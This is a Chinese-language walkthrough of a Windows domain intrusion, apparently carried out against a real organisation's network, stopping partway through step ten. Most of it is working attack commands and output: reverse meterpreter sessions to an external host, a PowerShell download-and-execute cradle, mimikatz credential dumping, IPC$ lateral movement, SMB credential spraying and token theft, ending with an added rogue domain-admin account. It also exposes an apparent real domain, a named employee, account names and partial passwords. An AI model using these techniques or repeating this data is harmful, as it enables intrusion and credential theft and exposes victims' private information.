

域渗透测试教程(windows server 2012)

域渗透测试教程(windows server 2012).....	1
前言.....	2
第一步 反弹 meterpreter.....	2
第二步 尝试提权 windows server 2012.....	4
第三步 尝试当前账号 Bypassuac 测试.....	5
第四步 相关信息收集.....	6
第五步 信息分析，成功获取一台服务器权限.....	8
第六步 域信息收集.....	10
第七步 SMB 快速扩张控制权限.....	16
第八步 Poershell 获取域控管理员在线的机器.....	18
第九步 域控管理员权限的获取(windows2012 权限).....	20
第十步 域控我来了(msf psexec 反弹 shell).....	22
第十一步 Meterpreter 获取所有用户的 hash.....	24
第十二步 曲折的探索之路.....	25
第十三步 我轻轻的来了，我又轻轻的走了，管理员，再见(清理).....	26
总结.....	27

前言

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:

- 免杀 payload 的生成, 请使用 Veil
- msf 在 meterpreter 下的提权尝试
- msf 在 meterpreter 下的 bypassuac 尝试
- 内网渗透测试过程中的信息关联
- meterpreter 的路由添加以及相关扫描
- Powershell 在 meterpreter 下面的使用
- Meterpreter 的 post 模块使用
- Msf 的 custom 自己生成的 payload 的使用
- 进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先 shell 是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:

- A 堡垒机(webshell 所在机器): windows server 2012
- B 堡垒机: windows 2008(powershell 扫描机器)
- C 堡垒机: 有域管理进程的机器 windows server 2012
- D 堡垒机若干

第一步 反弹 meterpreter

其实每一次的渗透测试开始并不像我们想象的那么顺利,而这一次的开始也同样意味着

我们一次不同的旅程，整个的渗透测试过程我花了差不多四个小时的时间，大部分的时间都是花在解决这些问题之上。

1 weshell 无法上传 exe

本来想着直接上传 meterpreter 的 payload 的直接反弹的结果发现上传不了，可以选择 powershell 的 meterpreter 的模块来实现

2 meterpreter 的 reverse_tcp 模块反弹不成功

Msf 的 payload 的反弹，刚开始我使用的模块是 meterpreter 的 reverse_tcp 的模块来尝试，发现可以反弹，但是一直无法建立成功 meterpreter，说明一定有监控发现了我们的行为。于是在此基础上尝试 meterpreter 的 reverse_https 模块，顺利反弹成功

详细遇到的问题 and 解决过程的图如下所示：

```
msf > use exploit/multi/handler
msf exploit(handler) > search meterpreter

Matching Modules
=====

Name                                     Disclosure Date  Ran
----                                     -
auxiliary/server/android_browsable_msf_launch 2014-03-10      nor
exploit/firefox/local/exec_shellcode          2014-03-10      nor
exploit/multi/http/freenas_exec_raw           2010-11-06      gre
exploit/multi/http/sonicwall_gms_upload       2012-01-17      exc
exploit/multi/script/web_delivery             2013-07-19      man
```

图 1-1 使用 payload

```
msf exploit(handler) > set lhost [REDACTED]
lhost => 45.78.60.30
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > run

[*] Started reverse handler on [REDACTED]:443
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to [REDACTED]
^C[-] Exploit failed: Interrupt
^Cmsf exploit(handler) > run

[*] Started reverse handler on [REDACTED]:443
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to [REDACTED].72
^C[-] Exploit failed: Interrupt
```

```

^Cmsf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > ifconfig
[*] exec: ifconfig

lo          Link encap:Local Loopback
            inet addr:127.0.0.1  Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:534990 errors:0 dropped:0 overruns:0 frame:0
            TX packets:534990 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:167082780 (159.3 MiB)  TX bytes:167082780 (159.3 MiB)

```

图 1-2 设置 https 的 payload

```

msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...
[*] 200.215.209.72:65164 (UUID: 0108453967c525b2/x86=1/windows=1/2015-12-11T17:14:03Z) Staging Native payload .
[*] Meterpreter session 1 opened (████████████████████:65164) at 2015-12-11 12:14:04 -0500

meterpreter > ps
[-] Unknown command: ps.
meterpreter > ps
[-] Unknown command: ps.
meterpreter > ps

Process List
=====

PID  PPID  Name          Arch  Session  User          Path
---

```

图 1-3 反弹成功

第二步 尝试提权 windows server 2012

当我们首先拿到一个 Webshell 的时候想到的第一件事是什么？那肯定是提权，我也想大家想的一样，首先开始了我们的提权之旅。首先使用 msf 的 search 模块 ms15,会得到一些漏洞利用的模块。我尝试了 ms15_05 以及 ms15_078 全部以失败结束。详细的图如下所示：

```
msf exploit(handler) > use exploit/windows/local/ms15_051_client_copy_image
msf exploit(ms15_051_client_copy_image) > sessions

Active sessions
=====

  Id  Type                Information                                     Connection
  --  ---                -
  1   meterpreter x86/win32  [REDACTED]\MA1384 @ PAVMSEF21  [REDACTED].30:443 -> [REDACTED]:65164 (10.51.0.21)

msf exploit(ms15_051_client_copy_image) > set session 1
session => 1
msf exploit(ms15_051_client_copy_image) > run

[*] Started reverse handler on [REDACTED]:4444
[-] Exploit aborted due to failure: not-vulnerable: Exploit not available on this system.
msf exploit(ms15_051_client_copy_image) > use exploit/windows/local/ms15_078_atmfd_bof
msf exploit(ms15_078_atmfd_bof) > set session 1
session => 1
msf exploit(ms15_078_atmfd_bof) > run

[*] Started reverse handler on [REDACTED]:4444
[*] Checking target...
[-] Exploit aborted due to failure: not-vulnerable: Exploit not available on this system.
```

图 2-1 提权尝试失败

第三步 尝试当前账号 Bypassuac 测试

刚开始一直忘说了一件事，那就是 webshell 本身的权限，我们目前 webshell 是 jsp 的，具有当前的一个普通域用户的权限。我于是也想到了是不是可以通过 bypassuac 来完成提权呢，但是测试的结果可想而知，又一次失败了。目前详细的情况如下：


```
net user /domain
```

```
Net group "domain computers" /domain
```

```
net group "domain admins" /domain #查看域管理员
```

```
net localgroup administrators
```

```
net view /domain
```

2 收集 sqlserver 的相关信息，如果当前堡垒机使用了 sql server 的话，恰巧用户是当前的域用户的话，我们在此可以使用 sqlcmd 的信息收集，以及扫描攻击。在这里只是提到，因为篇幅问题，暂时不做深一层讨论

根据我的渗透测试经验，我在此只是做了最简单的信息收集，首先使用 sqlcmd 的获取 sql server 的所有机器列表、当前堡垒机的机器名、当前堡垒机的 IP、还有 net view 来做简单的信息收集。详细的图如下所示：

```
meterpreter > shell
Process 2876 created.
Channel 1 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Java6\jboss-4.2.3.GA\server\default\tmp\deploy\tmp4482818833492060429is-exp.war>sqlcmd -L
sqlcmd -L

Servers:
FM 3F 0
FM 3F 0\VIM_SQLEXP
FM 3F 1
FM 3F 1\BKUPEXEC
VM AD 518
VM 3F 4
VM 3C 36
VM CX 3\MRC_SQLEXPRESS
VM DE 9
VM DE 1
VM DE 2
VM DE 3
VM DE 3\SHAREPOINT
VM DE 3\SP_INTRANET
VM DI 42
```

图 4-1 SQLCMD 获取信息

```
C:\Java6\jboss-4.2.3.GA\server\default\tmp\deploy\tmp4482818833492060429is-exp.war>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::a970:d5c6:c48f:c798%12
    IPv4 Address. . . . . : 10.21
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : 254

Tunnel adapter isatap.{B6E89DCD-5A9A-4C94-996D-A2BEC48C7E61}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 11:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

C:\Java6\jboss-4.2.3.GA\server\default\tmp\deploy\tmp4482818833492060429is-exp.war>hostname
hostname
21
```

图 4-2 当前的机器名

```
C:\Java6\jboss-4.2.3.GA\server\default\tmp\deploy\tmp4482818833492060429is-exp.war>net view
net view
Server Name                Remark
-----
\\A.12.05798N
\\N.11.05558N
\\N.13.01700N
\\N.13.01744N
\\N.13.01888N
\\N.13.0526N
\\N.14.07578N
\\N.15.07687N
\\P.DEL.72                DELL DeDupe Backup Appliance V3.2.0194.0
\\P.MSI.70
\\P.MSI.71
\\P.XM.137                Samba 3.0.33-3.39.e15_8
\\P.LKI.0115              Samba Server Version 3.0.33-3.40.e15_10
\\P.MSI.53
\\P.MSI.54
\\P.MSI.55S18
\\P.MSI.73
\\P.MSI.74
\\P.MSI.73
\\P.MSI.136
\\P.MSI.03
\\P.MSI.49                NBVMSDB49
```

图 4-3 net view 相关的机器名

第五步 信息分析，成功获取一台服务器权限

当我们信息收集完成以后，我们要开始考虑接下来要做什么。首先我们来看一下我们目前拥有什么：

A 一个域用户的进程权限，当前堡垒机是 windows server 2012,提权失败。（假如能提权成功，我们依然是无法获取到用户的明文密码）

B 当前的堡垒机的用户名

C 当前 sqlcmd 获取到的同样安装了 sql server 机器的名称

目前我们的思路有：

- 1 使用 meterpreter 的目前权限来添加路由进行弱口令扫描
- 2 使用 powershell 对内网进行扫描(本次渗透测试使用了，但是在这里暂时没有使用)，具体来说时间比较慢一点，当然此时此刻 powershell 绝对算是一个内网渗透测试又一神器
- 3 使用当前的用户权限架设 socks4a，然后利用第一步我们获取到的信息 socks 进行内网扫描
- 4 使用当前用户的权限，对域里面的电脑进行 IPC，或者 DIR 溢出(也就是 dir 其他电脑的 c 盘，如果成功表示有权限)批量测试

通过上面的分析，此时我选择了最偷懒的一种方法，进行当前堡垒机的机器名和 net view 的机器名进行对比，找出来非常相似的几个机器名，手动测试。当前速度也是非常快的，在尝试了两次的时候就成功了。详细过程如下：

```
Net use \\ip\c$
```

```
Tasklist /v /s ip
```

```
C:\Java6\jboss-4.2.3.GA\server\default\tmp\deploy\tmp4482818833492060429is-exp.war>c
cd \

C:\>net use \\PAVMSEC36\c$
net use \\PAVMSEC36\c$
The password is invalid for \\PAVMSEC36\c$.

Enter the user name for 'PAVMSEC36': System error 1223 has occurred.

The operation was canceled by the user.

C:\>net use \\PAVMSEP131\c$
net use \\PAVMSEP131\c$
The command completed successfully.
```

图 5-1 net use 测试成功

```
C:\>tasklist /v /s PAVMSEP131
tasklist /v /s PAVMSEP131
```

Image Name	PID	Session Name	Session#	Mem Usage	User Name
System Idle Process	0	Services	0	24 K	NT AUTHORITY\SYSTEM
System	4	Services	0	72 K	N/A
smss.exe	296	Services	0	552 K	NT AUTHORITY\SYSTEM
csrss.exe	392	Services	0	6.892 K	NT AUTHORITY\SYSTEM
csrss.exe	444	Console	1	436 K	NT AUTHORITY\SYSTEM
wininit.exe	452	Services	0	452 K	NT AUTHORITY\SYSTEM
winlogon.exe	488	Console	1	432 K	NT AUTHORITY\SYSTEM
services.exe	548	Services	0	10.736 K	NT AUTHORITY\SYSTEM
lsass.exe	556	Services	0	15.776 K	NT AUTHORITY\SYSTEM
lsm.exe	564	Services	0	3.556 K	NT AUTHORITY\SYSTEM
svchost.exe	660	Services	0	5.340 K	NT AUTHORITY\SYSTEM
svchost.exe	736	Services	0	7.164 K	NT AUTHORITY\NETWORK SERVICE
MsmEng.exe	816	Services	0	59.156 K	NT AUTHORITY\SYSTEM
LogonUI.exe	824	Console	1	756 K	NT AUTHORITY\SYSTEM
svchost.exe	892	Services	0	10.664 K	NT AUTHORITY\LOCAL SERVICE
svchost.exe	928	Services	0	90.972 K	NT AUTHORITY\SYSTEM
svchost.exe	964	Services	0	8.824 K	NT AUTHORITY\LOCAL SERVICE
svchost.exe	1012	Services	0	9.184 K	NT AUTHORITY\SYSTEM
svchost.exe	276	Services	0	9.596 K	NT AUTHORITY\NETWORK SERVICE
svchost.exe	948	Services	0	4.828 K	NT AUTHORITY\LOCAL SERVICE
spoolsv.exe	1132	Services	0	9.284 K	NT AUTHORITY\SYSTEM
svchost.exe	1224	Services	0	1.548 K	NT AUTHORITY\SYSTEM
aspnet_state.exe	1244	Services	0	152.224 K	NT AUTHORITY\NETWORK SERVICE
HealthService.exe	1312	Services	0	16.664 K	NT AUTHORITY\SYSTEM
inetinfo.exe	1408	Services	0	3.948 K	NT AUTHORITY\SYSTEM
MsDtsSrvr.exe	1608	Services	0	1.972 K	\SQLProcurement
sqlservr.exe	1792	Services	0	15.172.872 K	\SQLProcurement
msmdsrv.exe	1824	Services	0	8.572 K	\SQLProcurement

图 5-2 tasklist 执行成功

第六步 域信息收集

首先在第四步已经说了域相关的信息收集，这里就不做过多的介绍了，这次是在第五步的基础上做的相关收集，相关知识点如下：

1 域信息收集，其中用到的命令如下：

Net group "domain admins" /domain

Net group /domain

Net group "domain controllers" /domain

Net group "enterprise admins" /domain

2 ipc\$入侵，大家相关的话自行百度经典 IPC\$入侵

```
Net use \\ip\c$
```

```
Copy bat.bat \\ip\c$ （其中 bat.bat 是 powershell 的 meterpreter）
```

```
Net time \\ip
```

```
At \\ip time c:\bat.bat
```

3 上传抓明文工具 64.exe（mimikatz 神器），大家都懂的

```
Upload /home/64.exe c:\
```

```
Shell
```

```
Cd \
```

```
64.Exe
```

4 查看抓取到的用户的详细信息

```
Net use xxx /domain
```

5 使用 meterpreter 的 ps,查看相关用户的进程列表

6 尝试使用域令牌假冒

```
Use incongnito
```

```
list_token -u
```

```
Impersonate_token xxxxxx
```

我在这次渗透测试过程中尝试上面讲到的所有知识点，详细的截图如下：

```
C:\>net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain [REDACTED]

Group name      Domain Admins
Comment         Designated administrators of the domain

Members

-----
Administrator  Citrix_AG      dellbackup
gruppen         [REDACTED]
[REDACTED]      Office365
ServiceManager sonicwall      sso
sysaid         SystemCenter   vcenter
xendesktop

The command completed successfully.
```

图 6-1 查看域管

```
C:\>net group /domain
net group /domain
The request will be processed at a domain controller for domain [REDACTED].

Group Accounts for \\[REDACTED]
-----
*$DUPLICATE-5326
*$DUPLICATE-5a5e
*$UUQ000-I0MV3POPR1JO
*Aco-Administrativo_Gravacao
*Aco-Administrativo_Leitura
*Aco-Almoxarifado
*Aco-Ambulatorio
*Aco-Certificados_Gravacao
*Aco-Certificados_Leitura
*Aco-Comercial_Gravacao
*Aco-Comercial_Leitura
*Aco-Comite_Seguranca_Gravacao
*Aco-Compras
```

图 6-2 查看域组

```
C:\>net group "Domain Controllers" /domain
net group "Domain Controllers" /domain
The request will be processed at a domain controller for domain [REDACTED].

Group name      Domain Controllers
Comment         All domain controllers in the domain

Members
-----
CHVMS[REDACTED]64$      NBVMS[REDACTED]AD63$      NBVMS[REDACTED]SAD64$
PAVMS[REDACTED]63$      PAVMS[REDACTED]SAD64$      SEVMS[REDACTED]SAD64$
SPVMS[REDACTED]64N$

The command completed successfully.
```

图 6-3 查看域控制器

```
C:\>net group "Enterprise Admins" /domain
net group "Enterprise Admins" /domain
The request will be processed at a domain controller for domain [REDACTED].

Group name      Enterprise Admins
Comment         Designated administrators of the enterprise

Members
-----
Administrator  backupexec      dellbackup
gruppen         Office365      processor
symantec

The command completed successfully.
```

图 6-4 查看企业管理组

```
C:\>copy C:\Java6\jboss-4.2.3.GA\server\default\.\tmp\deploy\tmp4482818833492060429i
copy C:\Java6\jboss-4.2.3.GA\server\default\.\tmp\deploy\tmp4482818833492060429is-ex
1 file(s) copied.
```

图 6-5 共享 copy 数据

```
C:\>net time \\PAVMSEP131
net time \\PAVMSEP131
Current time at \\PAVMSEP131 is 11/12/2015 16:12:32

The command completed successfully.

C:\>at \\PAVMSEP131 16:15:00 c:\bat.bat
at \\PAVMSEP131 16:15:00 c:\bat.bat
The AT command has been deprecated. Please use schtasks.exe instead.

The binding handle is invalid.

C:\>at \\PAVMSEP131 16:15:00 c:\bat.bat
at \\PAVMSEP131 16:15:00 c:\bat.bat
The AT command has been deprecated. Please use schtasks.exe instead.

Added a new job with job ID = 1

C:\>net time \\PAVMSEP131
net time \\PAVMSEP131
Current time at \\PAVMSEP131 is 11/12/2015 16:13:57

The command completed successfully.
```

图 6-6 经典 ipc\$

```
msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...
[*] 200.215.209.72:48859 (UUID: 443b1b0d7afc701c/x86=1/windows=1/2015-12-11T18:16:36Z) Staging Native payload ...
[*] Meterpreter session 2 opened ( [REDACTED]:43 -> [REDACTED]:48859) at 2015-12-11 13:16:36 -0500

meterpreter > ps
[-] Unknown command: ps.
meterpreter > ps
[-] Unknown command: ps.
meterpreter > ps
```

图 6-7 反弹 meterpreter 成功

```
meterpreter > upload /home/64.exe c:\
[*] uploading : /home/64.exe -> c:\
[*] uploaded : /home/64.exe -> c:\\64.exe
meterpreter > shell
Process 2944 created.
Channel 6 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

图 6-8 上传文件

```
meterpreter > sysinfo
Computer      : PAVMSEP131
OS            : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : pt_BR
Domain        : ██████████
Logged On Users : 12
Meterpreter   : x86/win32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 17640
meterpreter > █
```

图 6-9 查看服务器信息

```
C:\Windows\system32>cd \
64cd \

C:64.exe
64.exe

Authentication Package      : Kerberos
    kerberos:                "System01@" (OK)
    wdigest:                 "System01@" (OK)
    tspkg :                  "System01@" (OK)
User Principal               : SQLEprocurement (Domain User)
Domain Authentication        : ██████████

Authentication Package      : Kerberos
    kerberos:                "System01@" (OK)
    wdigest:                 "System01@" (OK)
    tspkg :                  "System01@" (OK)
User Principal               : SQLEprocurement (Domain User)
Domain Authentication        : MEDABIL

Authentication Package      : Kerberos
    kerberos:                "██████████ bil2013@" (OK)
    wdigest:                 "██████████ bil2013@" (OK)
    tspkg :                  "██████████ bil2013@" (OK)
User Principal               : j██████████ guerino (Domain User)
Domain Authentication        : M██████████ IL
```

图 6-10 抓取密码

```

C:\Windows\system32>net user [redacted]erino /domain
net user joao.guerino /domain
The request will be processed at a domain controller for domain [redacted].

User name                [redacted]erino
Full Name                 João Batista Guerino
Comment
User's comment
Country code              000 (System Default)
Account active            Yes
Account expires           Never

Password last set        31/03/2014 19:48:08
Password expires         Never
Password changeable      31/03/2014 19:48:08
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon                10/12/2015 14:26:33

Logon hours allowed      All

Local Group Memberships
Global Group memberships *eprocurement          *MED - Acesso Remoto T
                        *MED - Libera WEB - Te*Domain Users

The command completed successfully.

```

图 6-11 查看域用户权限

```

C:\Windows\system32>net user SQLProcurement /domain
net user SQLProcurement /domain
The request will be processed at a domain controller for domain [redacted].

User name                SQLProcurement
Full Name                 SQLProcurement
Comment
User's comment
Country code              000 (System Default)
Account active            Yes
Account expires           Never

Password last set        28/09/2012 12:53:49
Password expires         Never
Password changeable      28/09/2012 12:53:49
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon                12/11/2015 03:39:09

Logon hours allowed      All

Local Group Memberships
Global Group memberships *Domain Users

The command completed successfully.

```

图 6-12 查看域用户权限

目前我们要做的事情很简单，就是快速的在内网扩大控制权限，那么如何去做，其实很简单的，就是快速的扫描以完成我们的梦想。具体如下：

- 1 使用当前获取到的两个用户权限，快速的进行扫描。扫描哪里了，看到第六步最后一张图 6-14 了没，就是域控的 IP 段
- 2 smb_login 扫描
- 3 端口转发进内网

目前思路我们已经有了，神器 msf 终于迎来了自己梦想恶天堂。让我们愉快的玩耍吧。

详细知识点如下：

- 1 msf 添加路由 route add ip mask sessionid
- 2 smb_login 模块或者使用 psexec_scanner(这个模块需要你自己搜索一下)
- 3 meterpreter 端口转发
- 4 msf 的 socks4a 模块(这次渗透测试没使用到，但是并不代表它不美好)

```
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > route add [REDACTED].131 255.255.0.0 2
[*] Route added
msf exploit(handler) > search smb_login

Matching Modules
=====

Name                                     Disclosure Date  Rank  Description
----                                     -
auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt  normal  SMB NTLMv1 Login Re
auxiliary/scanner/smb/smb_login              normal  SMB Login Check Sc

msf exploit(handler) > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set rhosts 10.51.0.131/24
rhosts => 10.51.0.131/24
msf auxiliary(smb_login) > set smbuser [REDACTED]rino
smbuser => joao.guerino
msf auxiliary(smb_login) > set smbpass [REDACTED]2013@
smbpass => medabil2013@
msf auxiliary(smb_login) > set smbdomain [REDACTED]
smbdomain => MEDABIL
msf auxiliary(smb_login) > set threads 16
threads => 16
msf auxiliary(smb_login) > [ ]
```

图 7-1 设置 smb_login 的参数

```

[-] 10.51.0.27:445 SMB - Could not connect
[+] 10.51.0.19:445 SMB - Success: 'M...IL\...guerino:...il2013@'
[+] 10.51.0.20:445 SMB - Success: 'M...IL\...guerino:...il2013@'
[+] 10.51.0.17:445 SMB - Success: 'M...IL\...guerino:...il2013@'
[+] 10.51.0.16:445 SMB - Success: 'M...IL\...guerino:...il2013@'
[+] 10.51.0.18:445 SMB - Success: 'M...IL\...guerino:...il2013@'

```

图 7-2 爆破成功的机器

```

msf auxiliary(smb_login) > creds
Credentials
=====

```

host	origin	service	public	private	realm	private_type
10.1.16.122	10.1.16.200	445/tcp (smb)	ie dv1	!@#\$\$5		Password
10.1.16.152	10.1.16.200	445/tcp (smb)	ie dv1	!@#\$\$5		Password
10.1.16.158	10.1.16.200	445/tcp (smb)	ie dv1	!@#\$\$5		Password
10.1.16.200	10.1.16.200	445/tcp (smb)	ie dv1	!@#\$\$5		Password
10.1.16.201	10.1.16.200	445/tcp (smb)	ie dv1	!@#\$\$5		Password
10.1.0.2	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password
10.1.0.3	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password
10.1.0.4	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password
10.1.0.5	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password
10.1.0.6	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password
10.1.0.8	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password
10.51.0.10	10.51.0.3	445/tcp (smb)	ac guerino	oil2013@	BIL	Password

图 7-3 查看已经获取到的权限

```

meterpreter > portfwd add -l 5555 -p 3389 -r 127.0.0.1
[*] Local TCP relay created: 0.0.0.0:5555 <-> 127.0.0.1:3389
meterpreter > background
[*] Backgrounding session 2...
msf auxiliary(smb_login) > sessions

```

```

Active sessions
=====

```

Id	Type	Information	Connection
1	meterpreter x86/win32	\MA1384 @ PAVMSEF21	:443 -> :65164 (.0.21)
2	meterpreter x86/win32	NT AUTHORITY\SYSTEM @ PAVMSEP131	:443 -> :48859 (10.51.0.131)

图 7-4 端口转发和目前拥有的权限

第八步 Poershell 获取域控管理员在线的机器

内网渗透测试不得不说到两大神器：msf 和 powershell,但是看大家基本上都是分开来使用的，或者说大家在一次渗透测试的过程中很少遇到，今天作为读者的你有福了。

首先来讲讲 powershell 的在内网渗透测试中不仅能扫，能爆，能转发，当然还能做更多的事情，一般使用到的模块有下面三个：

1 Empire 据说是神器，也确实是神器，我没使用过，暂时不多说

2 PowerUp 据说提权神器，也确实是神器，我很少使用。也暂时不多说

3 PowerView 据说是域渗透神器，也确实是神器，我一直用，非常漂亮

来说说 powershell 的使用，其实也很简单，只是大家在用的过程中一般没有太多的注意，主要有三种方式来调用：

1 当然是下载到本地执行，详细使用方法如后面连接：`powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFul'); Invoke-Mimikatz -DumpCreds"`

2 第二种方式是把 powershell 文件上传到堡垒机本地执行，`powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"`

3 上传到对方本地，然后 Import-Module 导入，使用

PowerView 的所有模块使用其实很简单，直接调用方法，大家看看下面的图就知道了。

如果你能看到这里开始你的 powershell 之旅，内网将开始变得简单。

```

Line 1151:         function Invoke-Method([_ComObject] $Object, [String] $Method
Line 1206:         function Invoke-Method([_ComObject] $object, [String] $method, $p
Line 3072: function Invoke-ACLScanner {
Line 6750: function Invoke-CheckLocalAdminAccess {
Line 7316:         function Invoke-CheckWrite {
Line 7374: function Invoke-ThreadedFunction {
Line 7515: function Invoke-UserHunter {
Line 8101: function Invoke-StealthUserHunter {
Line 8172: function Invoke-ProcessHunter {
Line 8570: function Invoke-EventHunter {
Line 8879: function Invoke-ShareFinder {
Line 9197: function Invoke-FileFinder {
Line 10259: function Invoke-EnumerateLocalAdmin {
Line 10975: function Invoke-MapDomainTrust {

```

图 8-1 powerview 的相关方法

废话讲了这么多，下面开始我们的实战，其实很简单，我真的想说很简单，简单到一句话搞定。Powerview 中的 `Invoke-UserHunter` 是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图：

powershell 执行命令

```
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"
```

图 8-1 powershell 执行命令

```

C:\Users\joao.guerino>powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"

UserDomain : ██████████
UserName   : Administrator
ComputerName : NEVMSMBS136 ██████████
IP         : 10.54.0.136
SessionFrom : 10.54.0.13
LocalAdmin :

UserDomain : ██████████
UserName   : ma1313
ComputerName : ██████████
IP         : {10.54.0.58, 10.54.0.4}
SessionFrom : 10.11.1.11
LocalAdmin :

UserDomain : ██████████
UserName   : ma1313
ComputerName : ██████████
IP         : 10.51.0.124
SessionFrom : 10.11.1.8
LocalAdmin :

UserDomain : ██████████
UserName   : ma1313
ComputerName : ██████████
IP         : 10.51.0.124
SessionFrom : 10.11.1.11
LocalAdmin :
  
```

图 8-2 powerview 的效果展示

第九步 域控管理员权限的获取(windows2012 权限)

在经过第八步之后，身为读者的你是不是感觉这次收获有一点点，内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器，又见它 windows server 2012,虽然域管理在线，但是我们的抓密码神器阳痿了，总不能修改注册表，等管理员再次登录吧。

目前来看看我们遇到的问题，通过 powershell 成功获取到相关的域控管理员在线的一台机器 windows server 2012,并且用这台机器的权限，那么接下来我们去搞定域控。思路如下：

- 1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)
- 2 通过 PowerUp 的进程来注入获取域权限(没使用过暂时放弃)，当然此处也可以写类似外挂的功能注入进程获取权限
- 3 msf 的令牌窃取功能(这个可以很容易实现)

知道思路，那么接下来就开始我们愉快的旅程吧。我要求师傅，求妹子，求神器，专业求到域控去：

- 1 同样使用 ipc 经典入侵手法，反弹 meterpreter,
 - Getsystem 权限
 - Ps 查看域管理所在的进程
 - Migrate pid 注入进程

2 继续经典的 IPC\$到域控

Meterpreter 下面 shell

Net use [\\域控 ip\c\\$](#)

Net time [\\域控 ip](#)

Copy bat.bat [\\域控 ip\c\\$](#)

At [\\域控 ip](#) time c:\bat.bat (意料之外的错误, 提示 `schtasks.exe`, 不熟)

3 通往成功的路不只有一条, 添加域管账户

Net user demo demo /ad /domain

Net group "domain admins" demo /ad /domain

到了此刻, 我们已经拥有域管权限了。详细的截图如下:

```
meterpreter > getuid
Server username: ██████████\mal246
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > migrate 30568
[*] Migrating from 20748 to 30568...
[*] Migration completed successfully.
meterpreter > getuid
Server username: ██████████\sonicwall
meterpreter > getpid
Current pid: 30568
meterpreter > shell
Process 9392 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net time
net time
Current time at \\██████████ is 11/12/2015 18:43:42

The command completed successfully.

C:\Windows\system32>net use \\██████████\c$
net use \\PAVMSAD64\██████████\c$
The command completed successfully.
```

图 9-1 注入域管进程, 连接域控

```
C:\Users\mal246>at \\PAVMSAD64.medabil.com.br 18:55:25 c:\payload.exe
at \\PAVMSAD64\██████████ 18:55:25 c:\payload.exe
The AT command has been deprecated. Please use schtasks.exe instead.

The request is not supported.

C:\Users\mal246>whoami
whoami
██████████\sonicwall

C:\Users\mal246>net user sonicwall1 Passw0rk!@3 /ad /domain
net user sonicwall1 Passw0rk!@3 /ad /domain
The request will be processed at a domain controller for domain ██████████

The command completed successfully.

C:\Users\mal246>net group "domain admins" sonicwall1 /ad /domain
net group "domain admins" sonicwall1 /ad /domain
The request will be processed at a domain controller for domain ██████████.

The command completed successfully.
```

图 9-2 添加域管理账号

```
C:\Users\ma1246>net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain ██████████.

Group name      Domain Admins
Comment        Designated administrators of the domain

Members

-----
Administrator   Citrix_AG      dellbackup
gruppen          MA1269        ma1313
MA1878          MA1905        Office365
ServiceManager  ██████████    sonicwall1
sso             sysaid        SystemCenter
vcenter         xendesktop

The command completed successfully.
```

图 9-3 查看域管理是否成功

第十步 域控我来了(msf psexec 反弹 shell)

一看时间，凌晨七点了，早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了，域控的权限也终于到了了。

先将思路，登录域控其实有很多方式的，下面我说一下我能知道的几种吧，相信大家也大家也都知道的：

- 1 端口转发或者 socks 登录域控远程桌面
- 2 登录对方内网的一台电脑使用 psexec 来反弹 shell
